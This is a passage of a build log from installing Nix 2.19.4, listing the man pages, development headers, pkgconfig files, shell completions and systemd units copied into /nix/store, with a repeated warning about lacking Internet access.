  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-switch-profile.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-uninstall.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-upgrade.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-add-fixed.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-add.1
warning: you don't have Internet access; disabling some network-dependent features
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-delete.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-dump-db.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-dump.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-export.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-gc.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-generate-binary-cache-key.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-import.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-load-db.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-optimise.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-print-env.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-query.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-read-log.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-realise.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-restore.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-repair-path.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-serve.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-verify-path.1
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/config.h
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store-verify.1
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/built-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/command-installable-value.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/command.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/editor-for.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/installable-attr-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/common-eval-args.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/installable-derived-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/installable-flake.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/installables.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/installable-value.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/legacy.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/markdown.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/attr-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/repl.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/attr-set.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/eval-cache.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/eval-inline.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/eval-settings.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/eval.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fetchurl.nix.gen.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/function-trace.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/imported-drv-to-derivation.nix.gen.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/json-to-value.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/get-drvs.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/lexer-tab.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/nixexpr.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/parser-tab.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/primops.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/print.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/search-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/symbol-table.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/value-to-json.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/value-to-xml.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/value.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/cache.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/attrs.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fetch-settings.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fetchers.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fs-input-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/input-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/memory-input-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/registry.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/tarball.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/common-args.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/loggers.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/progress-bar.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/shared.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/binary-cache-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build-result.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/builtins.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/ca-specific-schema.sql.gen.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/common-protocol-impl.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/common-protocol.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/content-address.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/crypto.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/daemon.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/derivations.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/derived-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/derived-path-map.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/downstream-placeholder.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/filetransfer.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/gc-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/globals.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/indirect-root-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/length-prefixed-protocol-helper.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/local-fs-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/local-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/lock.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/log-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/machines.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/make-content-addressed.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/names.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/nar-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/nar-info-disk-cache.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/nar-info.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/outputs-spec.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/parsed-derivations.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/path-info.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/path-references.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/path-regex.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/path-with-outputs.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/pathlocks.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/profiles.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/realisation.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/remote-fs-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/remote-store-connection.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/remote-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/repair-flag.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/s3-binary-cache-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/s3.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/schema.sql.gen.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/serve-protocol-impl.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/serve-protocol.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/sqlite.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/ssh-store-config.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/ssh.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/store-api.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/store-cast.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/uds-remote-store.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/worker-protocol-impl.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/worker-protocol.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/abstract-setting-to-json.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/ansicolor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/archive.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/args.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/callback.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/canon-path.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/chunked-vector.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/cgroup.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/closure.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/compression.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/compute-levels.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/comparator.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/config-impl.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/config.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/current-process.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/environment-variables.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/error.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/experimental-features.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/file-descriptor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/file-system.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/finally.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fmt.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/fs-sink.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/git.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/hash.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/hilite.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/json-impls.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/logging.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/json-utils.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/lru-cache.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/memory-source-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/monitor-fd.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/namespaces.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/pool.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/posix-source-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/processes.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/ref.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/references.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/regex-combinators.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/serialise.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/signals.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/source-accessor.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/split.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/suggestions.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/sync.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/tarfile.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/terminal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/thread-pool.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/topo-sort.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/types.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/unix-domain-socket.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/url-parts.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/url.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/users.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/util.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/variant-wrapper.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/xml-writer.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/args/root.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/builtins/buildenv.hh
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig/nix-store.pc
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/child.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/derivation-goal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/drv-output-substitution-goal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/goal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/hook-instance.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/local-derivation-goal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/personality.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/substitution-goal.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/worker.hh
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig/nix-main.pc
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig/nix-expr.pc
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/value/context.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/flake/flake.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/flake/flakeref.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/flake/lockfile.hh
  INST   /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/flake/call-flake.nix.gen.hh
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig/nix-cmd.pc
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/libexec/nix/build-remote
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/profile.d/nix.sh
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/profile.d/nix.fish
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/profile.d/nix-daemon.sh
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/profile.d/nix-daemon.fish
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/bash-completion/completions/nix
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/fish/vendor_completions.d/nix.fish
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/zsh/site-functions/_nix
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/zsh/site-functions/run-help-nix
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/systemd/system/nix-daemon.socket
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/systemd/system/nix-daemon.service
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/tmpfiles.d/nix-daemon.conf
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/init/nix-daemon.conf
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-store.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-build.1
  GEN    doc/manual/src/language/builtins.md
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-shell.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-instantiate.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-collect-garbage.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-prefetch-url.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-channel.1
  GEN    doc/manual/src/language/builtin-constants.md
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-hash.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-copy-closure.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man5/nix.conf.5
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man8/nix-daemon.8
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man5/nix-profiles.5
warning: you don't have Internet access; disabling some network-dependent features
